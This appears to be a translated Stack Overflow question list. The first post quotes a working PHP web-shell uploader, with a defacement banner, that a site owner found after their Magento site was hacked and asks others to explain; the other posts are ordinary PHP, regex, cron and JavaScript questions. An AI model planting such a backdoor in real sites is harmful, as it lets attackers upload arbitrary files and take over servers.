小编chr*_*s85的帖子

我的Magento网站被黑了,这个php代码做了什么?

我刚刚在我的托管上发现了一些php文件,在php中有0.01%的知识,有人可以解释一下这段代码的作用吗?

<?php if(isset($_GET["ourzr"])){
echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";
echo"<form method=post enctype=multipart/form-data>";
echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
echo"<b>berhasil</b>-->".$_FILES["f"]["name"];
}else{
echo"<b>gagal";}
}
}?>
<title>Hacked by d3b~X</title>
<center>
<div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php
<style>
body{overflow:hidden;background-color:black}
#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}
Run Code Online (Sandbox Code Playgroud)

php magento

3
推荐指数
1
解决办法
1649
查看次数

在问号,感叹号或句点处拆分字符串

我正在尝试使用preg_split将字符串拆分为问号,感叹号或句号,但我遇到了问题.它不是在问号处分裂,而是在此之前拆分字符串.请看一下我的代码:

<?php

    $input = "Why will I have no money? Because I spent it all";
    $input = preg_split( "/ (?|.|!) /", $input ); 
    $input = $input[0];
    echo $input;

?>
Run Code Online (Sandbox Code Playgroud)

预期成绩:

为什么我没有钱

实际结果:

为什么会

php preg-split

3
推荐指数
1
解决办法
2072
查看次数

如何使用 PHP 文件在 CRON JOB 上输出新行或换行

好的,...这是交易。我的服务器上已经有一个关于 cron 作业的 php 文件正在正确地完成它的工作。
我确实通过电子邮件收到了 cron 作业输出……这意味着所有 ECHO 内容都在 cron 运行后发送。
如何使用 PHP 文件在 CRON JOB 上输出新行或换行。这是我的问题。
我做的回声<br>,我甚至尝试\n\r\n...有没有这样做的正确方法是什么?由于我收到的电子邮件只是一行中的一堆文本。
我应该添加一些标题吗?

php email output

3
推荐指数
1
解决办法
2495
查看次数

Linux,如何在带分隔符的双引号中使用cut命令?

我有一行文本文件包含以下内容:

$gVER = "4.027.160921.1";
Run Code Online (Sandbox Code Playgroud)

如何在Linux中使用cut删除double quotes以及最后一个(;),我只想只输入数字值。我已经尝试过的是:

exec( "cat /web/FunctionInit.inc.php | grep gVER | cut -d \"=\" -f2"
Run Code Online (Sandbox Code Playgroud)

当我使用此代码时,结果是:

"4.027.160921.1";
Run Code Online (Sandbox Code Playgroud)

如何double quotes使用cut linux 分隔符和最后一个(;)?

linux cut

3
推荐指数
1
解决办法
7055
查看次数

在PHP中提取与CAS编号的模式匹配的所有字符串值

好的,所以我一直致力于从上传的SDS文件中提取CAS编号(在转到pdf之前使用docx).我已成功将docx转换为页面中的字符串,但如果存在,我需要提取几个字符串.这是我正在使用的代码,我认为我根本没用preg_match_all.

$docObj = new DocxConversion($_FILES["sdsFile"]["tmp_name"]);
$docText = $docObj->convertToText();
preg_match_all("/[0-9]{2,7}-[0-9]{2}-[0-9]{1}/", $docText, $matches);
print_r($matches);
Run Code Online (Sandbox Code Playgroud)

这给了我Array ( [0] => Array ( ) ).我正在寻找时不是很有帮助:

  • 64742-47-8
  • 64742-65-0
  • 9003-29-6

输出$docText是:

识别产品标识用于标签:成品产品编号客户产品编号标签描述实际品牌SM5802EE ECHO POWERBLEND X延长寿命油ECHO SMGR33EC 6450005 ECHO电源混合X ECHO SMGR01EC 6450025 ECHO电源混合X ECHO SMGR07EC 6450002 ECHO电源混合X ECHO SM5101EC X6972270101/99988800086回波功率BLEND X ECHO SM5905EC 6450250 ECHO BAR&链条油ECHO SM5818ER 6450114回声功率BLEND X HIGH PERFORMANCE 2冲程发动机ECHO SM5818EG 6450103回声功率BLEND X ECHO SM5238EC 99988800088回声功率BLEND X ECHO SM5218EC X6972270201/99988800085回声功率BLEND X ECHO SMGR25EC X6974100202 ECHO POWER BLEND X ECHO SMGR02EC …

php regex

3
推荐指数
1
解决办法
127
查看次数

JS window.onload用法与文档

window.onload从我的阅读中听起来像是可以松散地互换,document.onload但我的经验表明这是不正确的.我继承了一个JS脚本,我不知道如何纠正它.我想要在DOM加载后执行JS,而不是在加载所有资源之后执行.我怎样才能做到这一点?

目前我有:

window.onload = initDropMenu;
Run Code Online (Sandbox Code Playgroud)

我试过了:

 document.onload = initDropMenu;
Run Code Online (Sandbox Code Playgroud)

这只会导致菜单无法加载.我也尝试从JS中完全删除该行,并让DOM通过以下方式执行:

<body onload="initDropMenu()">
Run Code Online (Sandbox Code Playgroud)

这也导致没有菜单,并且在控制台中没有错误.我的JS知识有限,我在这里缺少什么?

javascript dom document-ready

3
推荐指数
1
解决办法
1143
查看次数

无法访问空属性 - Sendgrid

尝试使用Sendgrid的API(在bluemix上运行)发送自动电子邮件.

$sendgrid_username = 'XXXXXXXXX';
$sendgrid_password = 'XXXXXXXXXXXXXXX';
$to                = $_SESSION['emailto'];
$from              = "XXXXXXXXXXX@XXXX.com";
$sendgrid = new SendGrid($sendgrid_username, $sendgrid_password, array("turn_off_ssl_verification" => true));
$email    = new SendGrid\Email();
$email->addTo($to)->
       setFrom($from)->
       setSubject('Password Reset')->
       setHtml("<b>A new password has been set for the user: %mailto%.<br> The new password is:                                                                            %pass%<br><br></b>")->
       addSubstitution("%mailto%", array($_SESSION['emailto']))->
       addSubstitution("%pass%", array($random_pass_clear))->
       addHeader('X-Sent-Using', 'SendGrid-API')->
       addHeader('X-Transport', 'web')->
$response = $sendgrid->send($email); //this is line 21
Run Code Online (Sandbox Code Playgroud)

我使用了Sendgrid的示例代码,一切正常(我发送的电子邮件).但我得到2个错误:

PHP注意:第21行的未定义变量响应
PHP致命错误:无法访问第21行的空属性

我以前从未遇到过第二个错误,我对于发生了什么感到困惑......任何想法都出错了?

php sendgrid ibm-cloud

2
推荐指数
1
解决办法
118
查看次数

PHP-句子中的完全匹配字符串

我具有以下功能来 在句子中做"exact match"模式($searchPat)($sourceStr)

function isUsed($sourceStr, $searchPat) {
 if (strpos($sourceStr, $searchPat) !== false) {
    return true;
    } else {
    return false;
    }
}
Run Code Online (Sandbox Code Playgroud)

但是,这并不完全匹配。我按如下方式更改了功能,但这甚至没有执行。

function isUsed($sourceStr, $searchPat) {
if (preg_match("~\b[$sourceStr]\b~", $searchPat)) {
    return true;
    } else {
    return false;
    }
}
Run Code Online (Sandbox Code Playgroud)

请问我该怎么做?

php regex preg-match

2
推荐指数
1
解决办法
2669
查看次数

file_get_contents 无法打开流:HTTP 请求失败!HTTP/1.1 463

我正在尝试从其他站点获取 RSS。file_get_contents除了一个链接给我这个错误之外,它们都可以正常工作:

警告:file_get_contents( http://alwatan.kuwait.tt/rss.ashx ):无法打开流:HTTP 请求失败!HTTP/1.1 463

我下载了所有文件,并且都有:

<rss version="2.0">
Run Code Online (Sandbox Code Playgroud)

但有错误的链接有:

<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
Run Code Online (Sandbox Code Playgroud)

这是他们之间唯一的区别。

php rss

2
推荐指数
1
解决办法
2347
查看次数

mysqli_connect(): (28000/1045): 用户 'username'@'localhost' 访问被拒绝(使用密码:YES)

在共享托管服务器中配置数据库时出现此错误

mysqli_connect(): (28000/1045): 用户 'username'@'localhost' 访问被拒绝(使用密码:YES)

但它在本地主机中正常工作。

<?php 
session_start();



if($_SERVER['HTTP_HOST']=="localhost")
{
$serverIp="localhost";
$userName="user1";
$password="XXXXX";
$dbname="example";

}else
{


$serverIp="localhost";
$userName="username";
$password="password";
$dbname="dbname";
}

$cn=mysqli_connect($serverIp,$userName,$password) OR Die("Couldn't Connect - ".mysql_error());
$link=mysql_select_db($dbname,$cn)or Die("Couldn't SELCECT - ".mysql_error()); 
?> 
Run Code Online (Sandbox Code Playgroud)

php

2
推荐指数
2
解决办法
3万
查看次数